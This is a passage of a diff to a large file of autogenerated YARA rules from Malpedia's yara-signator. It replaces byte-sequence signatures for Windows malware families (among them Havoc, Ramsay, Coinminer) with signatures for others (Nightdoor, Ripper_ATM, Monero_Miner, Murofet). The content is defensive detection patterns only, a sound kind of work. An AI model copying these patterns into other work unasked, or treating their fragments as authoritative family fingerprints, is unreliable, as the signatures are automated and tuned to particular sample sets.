$sequence_9 = { 488b442470 4533c0 ba02000000 48634804 488d442470 } condition: - 7 of them and filesize < 286720 + 7 of them and filesize < 82944 } -rule MALPEDIA_Win_Acbackdoor_Auto : FILE +rule MALPEDIA_Win_Boatlaunch_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "5acb810f-7fcf-50a8-b5e5-5957312412ae" + id = "5b0d65d7-386e-5181-abff-96bda8de10ae" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.acbackdoor" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.acbackdoor_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.boatlaunch" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.boatlaunch_auto.yar#L1-L171" license_url = "N/A" - logic_hash = "e7c1851e66beefe0ede613bab170645d1cd40698015b7587734102d809a005df" + logic_hash = "adf615ca940a4845de7b709cb5b628615811519e57950596633d26b59f2f2942" score = 75 quality = 75 tags = "FILE" @@ -143909,32 +143762,38 @@ rule MALPEDIA_Win_Acbackdoor_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 85c0 0f8524020000 83fd04 0f8326020000 85ed 0f853c020000 } - $sequence_1 = { e8???????? c70424???????? ff15???????? 894500 85c0 7488 803e2f } - $sequence_2 = { e8???????? 8b83f0010000 05b8030000 890424 e8???????? 8b83f0010000 89442420 } - $sequence_3 = { e8???????? 803f04 89c5 7567 8d440001 39c6 7555 } - $sequence_4 = { e9???????? 8b6c2448 8b9c24c0000000 8b83f4000000 85c0 0f85d8020000 8b03 } - $sequence_5 = { c783b008000000000000 c7838c05000001000000 c7839005000001000000 c7839405000005000000 895c2404 890424 e8???????? } - $sequence_6 = { 8d57fe 0fb7c0 39d0 0f85bc050000 8d4306 8d342b 89442458 } - $sequence_7 = { c7442408???????? c7442404???????? 890424 e8???????? 84c0 0f8519050000 8b83e4000000 } - $sequence_8 = { ffd0 85c0 0f8863010000 39c5 0f865b010000 29c5 01c7 } - $sequence_9 = { c744242005000000 e9???????? 83c803 8906 8b4304 89442410 85c0 } + $sequence_0 = { c7430c00000000 c7431000000000 c7431400000000 8d45f0 50 8d45d8 } + $sequence_1 = { 8345e802 4b 85db 75af eb05 e9???????? } + $sequence_2 = { 0f84b1000000 8b4878 85c9 0f84a6000000 894dec 03cf 894df0 } + $sequence_3 = { 7502 48ab 488bfe ffcb 85db } + $sequence_4 = { 488b4dd0 e8???????? 488b45d8 488d6528 415b } + $sequence_5 = { 8b45e4 03701c 2b75ec 0375e4 ad 85c0 7407 } + $sequence_6 = { 448b45fc e8???????? 48894500 48c7c105000000 } + $sequence_7 = { 488d6c2430 48c745f800000000 488d35901e0000 488bfe bb40000000 } + $sequence_8 = { 488905???????? 48c7c001000000 488d6500 5d } + $sequence_9 = { c745f800000000 8d5ddc c70318000000 c7430400000000 } + $sequence_10 = { 8d85e0eeffff 50 e8???????? 83c404 53 } + $sequence_11 = { 5a 59 5b 5d c3 48894c2408 4855 } + $sequence_12 = { ff75f8 e8???????? 81fb02010000 7507 c745fc01000000 8b45fc 5f } + $sequence_13 = { c7431400000000 8d45f4 50 8d45dc 50 68ff0f1f00 } + $sequence_14 = { 48c7c164000000 e8???????? e9???????? 488d6500 } + $sequence_15 = { 4150 4151 4152 4153 4881ec78110000 488dac2480000000 48c745e800000000 } condition: - 7 of them and filesize < 1704960 + 7 of them and filesize < 33792 } -rule MALPEDIA_Win_Havoc_Auto : FILE +rule MALPEDIA_Win_Nightdoor_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "5b73e703-1ccd-5166-ac2d-206885cae394" + id = "d8e136f5-ecc5-5fee-8886-ee91c9e305f7" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.havoc" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.havoc_auto.yar#L1-L120" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nightdoor" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nightdoor_auto.yar#L1-L129" license_url = "N/A" - logic_hash = "81f90ef0d0bf3fd238a11a66b3faf732476c67ba4c05a3cc03c8bd35850d8f8f" + logic_hash = "d66f399d7d6cc21f703af3dc1753edb59e4b1b5c61847dda1732e7b96de70f40" score = 75 quality = 75 tags = "FILE" @@ -143948,32 +143807,32 @@ rule MALPEDIA_Win_Havoc_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 7512 31c0 80bc245e01000001 0f94c0 } - $sequence_1 = { 4489c0 4501c0 c0e807 4531cf 448a4afe } - $sequence_2 = { 884c2439 8a4c243a 8844243a 8a442436 884c2432 8a4c243e 8844243e } - $sequence_3 = { 4154 55 89cd b940000000 } - $sequence_4 = { 83f902 7512 31c0 80bc245e01000001 0f94c0 } - $sequence_5 = { 488b01 ff5018 85c0 75e2 488b0b } - $sequence_6 = { 4889cb 4883ec78 4885c9 7507 31c0 e9???????? 4889d1 } - $sequence_7 = { 4883ec20 e8???????? 488b06 488b5608 488983f0000000 488993f8000000 488d65f0 } - $sequence_8 = { 4989d0 31d2 4c898c2488000000 498b0424 4c8d8c2480000000 4c894c2438 4c894c2428 } - $sequence_9 = { 7407 488b442428 eb1b 488b06 4883c9ff } + $sequence_0 = { 52 ff15???????? 8b45fc 8b08 51 e8???????? 83c404 } + $sequence_1 = { 51 8d4dac e8???????? c7458800000000 eb09 8b5588 } + $sequence_2 = { 0f840c020000 6a00 8d4dc0 51 8d55c8 52 } + $sequence_3 = { 6a01 e8???????? 83c404 8945fc 8b4d10 51 8b550c } + $sequence_4 = { 85c0 7505 8b45fc eb1c 8b4dfc e8???????? 8b4d08 } + $sequence_5 = { e9???????? 8b4518 3b450c 7765 8b4d18 51 8b4df0 } + $sequence_6 = { ff15???????? 8945e0 837de0ff 7524 ff15???????? 8945dc } + $sequence_7 = { 51 ff15???????? 85c0 0f853a030000 8d95d4feffff 52 8d85d4f6ffff } + $sequence_8 = { 83c404 b001 e9???????? 83ff0b 7510 8bd6 8bcb } + $sequence_9 = { 8b45f0 c7400c00000000 68???????? 8b4df0 83c110 } condition: - 7 of them and filesize < 164864 + 7 of them and filesize < 1124352 } -rule MALPEDIA_Win_Ramsay_Auto : FILE +rule MALPEDIA_Win_Greenshaitan_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "591a738b-88c1-5449-9137-a45c1c5654e9" + id = "14595aea-9f28-5e60-9b87-81d296b006da" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ramsay" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ramsay_auto.yar#L1-L162" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.greenshaitan" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.greenshaitan_auto.yar#L1-L127" license_url = "N/A" - logic_hash = "cc560e807fba4f127cf57dd3774af95181c3332f30b4eada50d5d158e9717780" + logic_hash = "1f6063ccf28ef721dc1c6c4df5a5fddba54c56e2e1ec3d58cf26082647681dea" score = 75 quality = 75 tags = "FILE" @@ -143987,38 +143846,32 @@ rule MALPEDIA_Win_Ramsay_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 7514 ff15???????? 83f820 7502 eb07 } - $sequence_1 = { ff15???????? 85c0 7502 eb02 ebb1 } - $sequence_2 = { 85c0 744c c745e800000000 eb09 8b45e8 83c001 } - $sequence_3 = { 8b4d08 83c101 51 6a00 8b55f8 } - $sequence_4 = { 85c0 751a 8b4df8 51 ff15???????? 8b55fc } - $sequence_5 = { 8b5508 8b4508 8a481c 884a0b 8b5508 8b4508 } - $sequence_6 = { 837de806 7d34 8b4d08 034de8 0fbe4101 } - $sequence_7 = { 884a01 ebbd b801000000 8b4df8 33cd e8???????? } - $sequence_8 = { e8???????? 83c404 8945f8 8b45f8 8945fc 8b4d0c } - $sequence_9 = { 8955e8 eba5 8b45f4 8be5 } - $sequence_10 = { ff15???????? 33c0 e9???????? e8???????? 85c0 } - $sequence_11 = { 488d8c24ec040000 ff15???????? 4885c0 7415 488b8c2420090000 } - $sequence_12 = { 488d8c24f0020000 e8???????? 4889842420050000 8b842420050000 } - $sequence_13 = { 488d8c24f0010000 ff15???????? 488d8c24f0010000 ff15???????? } - $sequence_14 = { 488d8c24ec040000 ff15???????? 85c0 7402 } - $sequence_15 = { 488d8c24f0010000 ff15???????? 4898 488d84047e040000 } + $sequence_0 = { 8d442434 64a300000000 8b6c2444 33db 895c2410 c744242c0f000000 895c2428 } + $sequence_1 = { 6a02 68???????? 8d842494000000 e8???????? } + $sequence_2 = { 895c244c 668944243c 3974246c 720d 8b4c2458 51 e8???????? } + $sequence_3 = { 7594 8b7c2414 83ff01 7534 } + $sequence_4 = { ff15???????? 8d442404 c746180f000000 c7461400000000 c6460400 8d5001 8a08 } + $sequence_5 = { 3974246c 720d 8b4c2458 51 e8???????? 83c404 8b542430 } + $sequence_6 = { 56 e8???????? 56 8bd8 e8???????? 8be8 8b4734 } + $sequence_7 = { c74424480f000000 895c2444 885c2434 eb1b 837d6810 7205 8b4554 } + $sequence_8 = { 53 890a e8???????? 55 e8???????? 83c408 } + $sequence_9 = { 8bf1 8b4814 c744240800000000 7214 8b4004 51 8bd8 } condition: - 7 of them and filesize < 2031616 + 7 of them and filesize < 253952 } -rule MALPEDIA_Win_Wipbot_Auto : FILE +rule MALPEDIA_Win_Ripper_Atm_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "9a0970f9-ec33-54d5-ae53-9537a083afd7" + id = "8f521802-fe9f-59e3-95e4-5c6b679dd629" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.wipbot" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.wipbot_auto.yar#L1-L123" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ripper_atm" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ripper_atm_auto.yar#L1-L129" license_url = "N/A" - logic_hash = "fb932c7b46d7c186e09cb261140c60f0fb4b0c9205bd0105a6b5687477b202b2" + logic_hash = "20a25cf7a57e29f6fcd47218cda1c983413d86161c6d93b073b8fbc3d2b6ce43" score = 75 quality = 75 tags = "FILE" @@ -144032,34 +143885,34 @@ rule MALPEDIA_Win_Wipbot_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 48 89cb 48 89d6 b98855514f ba4656f1f6 e8???????? } - $sequence_1 = { c744241400000000 c744241800000000 8974240c 89542410 c74424080a000000 890424 } - $sequence_2 = { 48 01cb 66813b9090 0f8404040000 bace2cfb69 b98855514f } - $sequence_3 = { 85c0 48 8907 74a0 48 83c708 48 } - $sequence_4 = { c744240400000000 893424 89442408 ffd7 } - $sequence_5 = { ba2e9fd298 b98855514f e8???????? 49 } - $sequence_6 = { 89e5 e8???????? 85c0 7405 8b4034 eb02 } - $sequence_7 = { 41 b901000000 ba01000000 4c 8d442468 48 8d4c246c } - $sequence_8 = { 740d 8b45f4 e8???????? e9???????? 89d8 e8???????? 85c0 } - $sequence_9 = { 48 8b442428 eb02 31c0 48 } + $sequence_0 = { 51 8bcc 89a57cfdffff 68???????? e8???????? } + $sequence_1 = { 2bc1 99 c745f818000000 f77df8 83c410 8945e8 85c9 } + $sequence_2 = { c7470411000000 897708 89770c 897710 c707???????? } + $sequence_3 = { c3 55 8bec 8b0d???????? 8b15???????? 8bc1 2bc2 } + $sequence_4 = { 8b4f3c 50 e8???????? 8b4f3c ff75fc 0fbec0 894744 } + $sequence_5 = { 7516 8b7708 8b4610 3b02 0f8d8e000000 ff7514 } + $sequence_6 = { 8b4de8 3b4810 7d27 8b4e08 ff7514 80790d00 51 } + $sequence_7 = { 68???????? 53 ff15???????? 56 56 50 8945fc } + $sequence_8 = { 8bf9 50 e8???????? ff7518 8d45ec ff7514 8bcf } + $sequence_9 = { 7409 6aff 53 50 e8???????? be???????? 56 } condition: - 7 of them and filesize < 253952 + 7 of them and filesize < 724992 } -rule MALPEDIA_Win_Suppobox_Auto : FILE +rule MALPEDIA_Win_Webc2_Ausov_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "5b7250ed-3647-5a89-a116-017b310c526f" + id = "9f7dcd3a-83e3-51b1-b972-c6423fd03466" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.suppobox" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.suppobox_auto.yar#L1-L191" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_ausov" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.webc2_ausov_auto.yar#L1-L119" license_url = "N/A" - logic_hash = "05beb26ad12e675f535ee9462bf9d41a047c1dcd3464f804af01fdd75563ee81" + logic_hash = "54e3ad7a65c1020ea5947e1b7fb8d16c99e374f254cf080dd27feb76035c9b99" score = 75 - quality = 73 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -144071,44 +143924,32 @@ rule MALPEDIA_Win_Suppobox_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 7e10 a1???????? 0305???????? a3???????? } - $sequence_1 = { 3bc8 7d10 a1???????? 2b05???????? a3???????? } - $sequence_2 = { 890d???????? e8???????? 8bf0 e8???????? 03f0 } - $sequence_3 = { 8945f0 a1???????? 83e801 a3???????? } - $sequence_4 = { 7412 8b0d???????? 030d???????? 890d???????? } - $sequence_5 = { 7d10 a1???????? 0b05???????? a3???????? } - $sequence_6 = { 7f10 a1???????? 2305???????? a3???????? } - $sequence_7 = { 01c6 39fe 0f8d2f020000 80bc2ef4f7ffff0a } - $sequence_8 = { 019dacf7ffff 83c40c 299dc4f7ffff e9???????? } - $sequence_9 = { 8d48ff 2d9b507602 8985dcfdffff db85dcfdffff } - $sequence_10 = { 01c6 39fe 0f8d7e010000 80bc2ef4f7ffff0a } - $sequence_11 = { 8d48ff 2d9696ca2f 39c2 66898d92feffff 0f8dbbfcffff } - $sequence_12 = { 01bdacf7ffff 83c40c 83bdc8f7ffff00 8b95c8f7ffff } - $sequence_13 = { 01d8 3b85b0f7ffff 7e2f 8b95c8f7ffff } - $sequence_14 = { 8d48ff 39c2 890d???????? 0f8e93240000 } - $sequence_15 = { 8d48ff 2de13d1921 8985e0f8ffff db85e0f8ffff } - $sequence_16 = { 01d7 68???????? 57 e8???????? } - $sequence_17 = { 8d48ff 39c2 898db4f8ffff 0f8e3d0f0000 } - $sequence_18 = { 01c6 ebdb ff7510 57 } - $sequence_19 = { 01c9 4a 79f2 833b54 } - $sequence_20 = { 8d48ff 2dbb4fb754 39c2 66890d???????? } - $sequence_21 = { 8d48ff 39c2 898dc8feffff 0f8ebb010000 } + $sequence_0 = { 83854cfaffff02 80bd46faffff00 75ae c78540faffff00000000 eb0b 1bc0 83d8ff } + $sequence_1 = { 0f8407000000 0f8501000000 f8 8b550c } + $sequence_2 = { b941000000 33c0 8dbda9faffff f3ab } + $sequence_3 = { 7546 80bd47faffff00 7431 8b8548faffff 8a4801 888d46faffff } + $sequence_4 = { 0355f4 0fbe4201 3345f4 8945fc 0f8407000000 } + $sequence_5 = { 6a00 8d85a8faffff 50 8d8dbcfcffff } + $sequence_6 = { 85c9 740d 85c0 7409 5f 5e } + $sequence_7 = { 6a00 68???????? 8d85f8fbffff 50 e8???????? 83c408 50 } + $sequence_8 = { 0f8501000000 f8 68???????? 8d8dfcfbffff 51 e8???????? 83c408 } + $sequence_9 = { ffd3 8bf0 85f6 0f8487000000 8b3d???????? } condition: - 7 of them and filesize < 1875968 + 7 of them and filesize < 40960 } -rule MALPEDIA_Win_Newpass_Auto : FILE +rule MALPEDIA_Win_Warhawk_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "d6b059ee-c4d5-5cd3-bec7-199d16e8018e" + id = "7fcbe369-7eba-5509-9f6c-bc41b0560179" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.newpass" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.newpass_auto.yar#L1-L132" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.warhawk" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.warhawk_auto.yar#L1-L126" license_url = "N/A" - logic_hash = "68e2df4904722bca2b5d5336a84032d81343ac67dcb544535e3fd89fb775b501" + logic_hash = "44d5f6f70697925bfa262390ea7caffa63c489e29c99852e5d174229a319929a" score = 75 quality = 75 tags = "FILE" @@ -144122,32 +143963,32 @@ rule MALPEDIA_Win_Newpass_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 4c89642438 4c89742428 48ffc0 418bf0 4c8bf2 } - $sequence_1 = { 4c8bc3 4c8d4820 4889442420 e8???????? 488b442440 4883c028 4883c430 } - $sequence_2 = { cc 4885d2 7509 33c9 ff15???????? cc 4533c9 } - $sequence_3 = { 488b4c2430 4885c9 7417 488b11 ff5210 4885c0 740c } - $sequence_4 = { 66895d00 6685c0 7505 4c8bc3 eb0f 4c8bc7 90 } - $sequence_5 = { e8???????? 488bf8 eb03 488bfe 488d55d8 e8???????? 488bd8 } - $sequence_6 = { b850800000 e8???????? 482be0 48c7442428feffffff 48899c2470800000 4889b42478800000 488b05???????? } - $sequence_7 = { 84c0 0f84c6000000 488b03 48634804 4803cb 488d9424c8000000 e8???????? } - $sequence_8 = { 4d8d0c18 482bf9 48c1ff05 488bcf 48d1e9 498bc2 482bc1 } - $sequence_9 = { 57 4154 4155 4156 4157 488dac24d8deffff b828220000 } + $sequence_0 = { e8???????? 8be5 5d c3 bb02000000 8b4dfc 8bc3 } + $sequence_1 = { 83f809 0f8799000000 ff248521b34000 ff7510 ff750c e8???????? } + $sequence_2 = { 0f8482000000 53 57 6a28 ff15???????? 8bd8 83c404 } + $sequence_3 = { 0f8473010000 8d85fcfbffff 8d5001 660f1f440000 8a08 40 84c9 } + $sequence_4 = { 0fb606 50 e8???????? 0fb60b } + $sequence_5 = { e711 a0???????? ad fb 93 9f b66c } + $sequence_6 = { 85c9 7406 8b4204 894104 8b4e08 3bd1 } + $sequence_7 = { 8b7d0c 33db 897df4 8975f8 8945fc 8a06 3a8358e94100 } + $sequence_8 = { 0fb680201c4000 ff2485001c4000 c6065c eb30 c60622 eb2b c60662 } + $sequence_9 = { 660f2fda 0f93c0 85c0 754d } condition: - 7 of them and filesize < 2654208 + 7 of them and filesize < 2345984 } -rule MALPEDIA_Win_Coinminer_Auto : FILE +rule MALPEDIA_Win_Greetingghoul_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "dd71a564-9751-5c18-a6bf-b9b0587239f2" + id = "ab352bb6-0e90-5ea4-81b4-0f0ddff67e2f" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.coinminer" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.coinminer_auto.yar#L1-L121" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.greetingghoul" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.greetingghoul_auto.yar#L1-L120" license_url = "N/A" - logic_hash = "c6e378240c8214f1ad0ec61fc8d57006e837b16f1716923b20f2ac30be5b248c" + logic_hash = "05f8eb95e67f4d995ab80e8300d436e31d93b18d0182fa8edc0fa057e1e63b5a" score = 75 quality = 75 tags = "FILE" @@ -144161,32 +144002,32 @@ rule MALPEDIA_Win_Coinminer_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b8d24e5ffff 8b0485a05f9a00 f644010440 7409 803a1a 7504 33c0 } - $sequence_1 = { 8b85f0feffff 85c0 7509 33d2 } - $sequence_2 = { 83c801 85c0 741d 8d85d4fdffff } - $sequence_3 = { ebcc 5f 5e 33c0 5b 8be5 } - $sequence_4 = { c7465c60fd8f00 83660800 33ff 47 897e14 } - $sequence_5 = { ff15???????? 6683bc24b002000000 8d8c24b0020000 ba???????? } - $sequence_6 = { 7e58 bc80304a3e 60 4c 1c00 59 6443 } - $sequence_7 = { 57 6868060000 0f57c0 894c2440 8d8424ec000000 c744242400004000 } - $sequence_8 = { c3 8b04c50c509000 5d c3 55 8bec 8b4508 } - $sequence_9 = { 8304240d cb 8d85b0fdffff 8945fc 85c0 745d 8b4df0 } + $sequence_0 = { 8945f4 33c9 894df8 380f 7409 } + $sequence_1 = { 57 660fd603 33ff c6430800 c70600000000 } + $sequence_2 = { ff15???????? 85c0 7e06 03f0 2bf8 75ea } + $sequence_3 = { 750c 6a21 e8???????? 83c404 eb0d 8d4721 } + $sequence_4 = { c3 0fbec8 0fbec3 8b5dfc 2bc8 74e1 } + $sequence_5 = { 75eb 8b5dfc 83c8ff 3b5df8 5f 0f44d8 5e } + $sequence_6 = { 7e06 03d8 2bf0 75ea } + $sequence_7 = { 33f6 8a17 80fa20 740a } + $sequence_8 = { e8???????? 83c404 eb10 8d4701 03c3 50 } + $sequence_9 = { 5d c3 5f c7462800000000 8bc3 5e 5b } condition: - 7 of them and filesize < 1523712 + 7 of them and filesize < 696320 } -rule MALPEDIA_Win_Common_Magic_Auto : FILE +rule MALPEDIA_Win_Monero_Miner_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "af63221a-d89f-5b5e-b536-f2130b5cebfc" + id = "53964e17-4946-5df0-a485-9eaee6f615c2" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.common_magic" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.common_magic_auto.yar#L1-L120" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.monero_miner" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.monero_miner_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "20951a1a53280d6d98a10f242cdfcf681eb6a68d19880713aace683e29423308" + logic_hash = "cffe54ca1957e07a44d930d7017ae2111987cffb75cbed1acab293924f2ab98e" score = 75 quality = 75 tags = "FILE" @@ -144200,32 +144041,32 @@ rule MALPEDIA_Win_Common_Magic_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 59 5d c20400 e8???????? 85c0 0f84c02e0000 } - $sequence_1 = { 885c012e 8b049570804100 804c012d04 46 } - $sequence_2 = { 8d8de8fdffff c685a4fdffff00 51 ffb5a4fdffff 8d8dacfdffff } - $sequence_3 = { 68???????? 51 50 51 ffb580feffff 8d8d5cffffff e8???????? } - $sequence_4 = { 83c404 c645fc03 8b8d70ffffff 83f908 } - $sequence_5 = { 0f1f4000 0f1f840000000000 a1???????? c7855cffffff00000000 } - $sequence_6 = { ff7610 50 8d45c8 50 ffd7 } - $sequence_7 = { 75e8 8b7dd4 8b55c4 8d4dd4 8b45e8 8bf2 } - $sequence_8 = { 85c0 0f84c02e0000 c3 833d????????ff 7503 33c0 c3 } - $sequence_9 = { 90 668b0431 663b01 750a 83c102 83ea01 75ef } + $sequence_0 = { c6043000 c744240811000000 89442404 c70424???????? e8???????? 85c0 7411 } + $sequence_1 = { e8???????? 0fb643fa 8d4e04 c7442404???????? 890c24 89442408 e8???????? } + $sequence_2 = { 8b6c240c 136c2424 8b8c24d4000000 8bbc24dc000000 89c2 8b4350 31f2 } + $sequence_3 = { e8???????? 8d9424a0000000 8d442460 b901000000 e8???????? 8d542460 8d8424a0000000 } + $sequence_4 = { 890424 e8???????? 83f8ff 0f8463050000 817c2434ff3f0000 8b442430 0f96c2 } + $sequence_5 = { 8b94247c010000 898c2448020000 899c244c020000 8b9c248c010000 89c5 0fa4d017 0fa4ea17 } + $sequence_6 = { 8db4248c000000 c60000 89442414 8b8398000000 8974240c c7442404???????? 89442410 } + $sequence_7 = { 8b542428 8354242c00 83c340 836c242040 c1e206 39542414 0f87c3feffff } + $sequence_8 = { ffd6 83f8ff 75de 81c4cc0f0000 89e8 5b 5e } + $sequence_9 = { 8906 8b7413fc 897411fc 8b7d14 89de 81c784000000 } condition: - 7 of them and filesize < 212992 + 7 of them and filesize < 1425408 } -rule MALPEDIA_Win_Bandook_Auto : FILE +rule MALPEDIA_Win_Rincux_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "49488c81-393e-59b5-ae7a-2a41b9e495a2" + id = "fcec6357-ec7f-5319-84f9-3e3af9251503" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bandook" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bandook_auto.yar#L1-L128" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rincux" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rincux_auto.yar#L1-L129" license_url = "N/A" - logic_hash = "aa9d013de87f3f2f49289f0a80f6ab44faf8f44b73388fb66ee1528c334b1487" + logic_hash = "495e2f221b3a3eaf8635ea3eb223efd9431aa4fc4e38116d5df5e0ad084dcaef" score = 75 quality = 75 tags = "FILE" @@ -144239,32 +144080,32 @@ rule MALPEDIA_Win_Bandook_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b85f0bfffff 8985a0beffff 89b598beffff 899d94beffff } - $sequence_1 = { 8d95f4fbffff 83c414 e8???????? 8b4df8 33cd 5e e8???????? } - $sequence_2 = { 8b45f0 0fb640f8 0fb680789d1c13 3334c5a3c31e13 8bc2 c1e818 0fb688789d1c13 } - $sequence_3 = { 83c404 89442414 68c0d40100 e8???????? 83c404 8bf8 } - $sequence_4 = { 8945fc 803d????????01 8b4508 753a ff30 ba???????? } - $sequence_5 = { 8bc8 e8???????? 83c408 8d4704 c707???????? c700???????? 8b4df4 } - $sequence_6 = { 58 6bc000 c7805cd11e1302000000 6a04 58 6bc000 8b0d???????? } - $sequence_7 = { 64a300000000 8bf9 897dac c745fc00000000 897d98 c745a800000000 0f2805???????? } - $sequence_8 = { e8???????? 8bf0 83c404 8975e0 6a00 8bce c645fc01 } - $sequence_9 = { 0fb708 8d4002 66894c02fe 6685c9 75f0 8d8c24c00d0000 } + $sequence_0 = { 50 ff15???????? 89442418 8b442410 50 ff15???????? } + $sequence_1 = { 83cafe 42 7534 8a4c2414 8a542410 c644245c01 } + $sequence_2 = { 8b8c2494a00000 5f 5e 5d 33c0 5b } + $sequence_3 = { 53 55 56 57 0f84ec150000 8b581c 85db } + $sequence_4 = { bb06000000 8b04a8 8d7804 8b07 50 ff15???????? 83c704 } + $sequence_5 = { 50 68???????? 51 ffd6 8b15???????? 83c40c 8b049508a50210 } + $sequence_6 = { 85c0 7477 ff15???????? 83f812 746c 8b6c2418 8b35???????? } + $sequence_7 = { 8d4c2424 8d5d1c 52 8d7d10 8d7518 51 53 } + $sequence_8 = { 33db 33ed 3bf0 57 89742410 89442414 } + $sequence_9 = { 5b 5e 5d c20400 5e b8???????? } condition: - 7 of them and filesize < 23088128 + 7 of them and filesize < 392192 } -rule MALPEDIA_Win_Nullmixer_Auto : FILE +rule MALPEDIA_Win_Murofet_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "07ba7e58-2a57-502b-80f6-37285125f4cb" + id = "ff4651b8-f01c-5a4b-b3ae-29bd62dfdd08" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nullmixer" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nullmixer_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.murofet" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.murofet_auto.yar#L1-L115" license_url = "N/A" - logic_hash = "ef3e886b25db0cbcc96c6b82a5addac8533ba94ae036aa8c2ef621bf053010dc" + logic_hash = "94ade8c85b5c2b31256b3a8187c71d11e0c07536823190c2ab9a762d80de406f" score = 75 quality = 75 tags = "FILE" @@ -144278,32 +144119,32 @@ rule 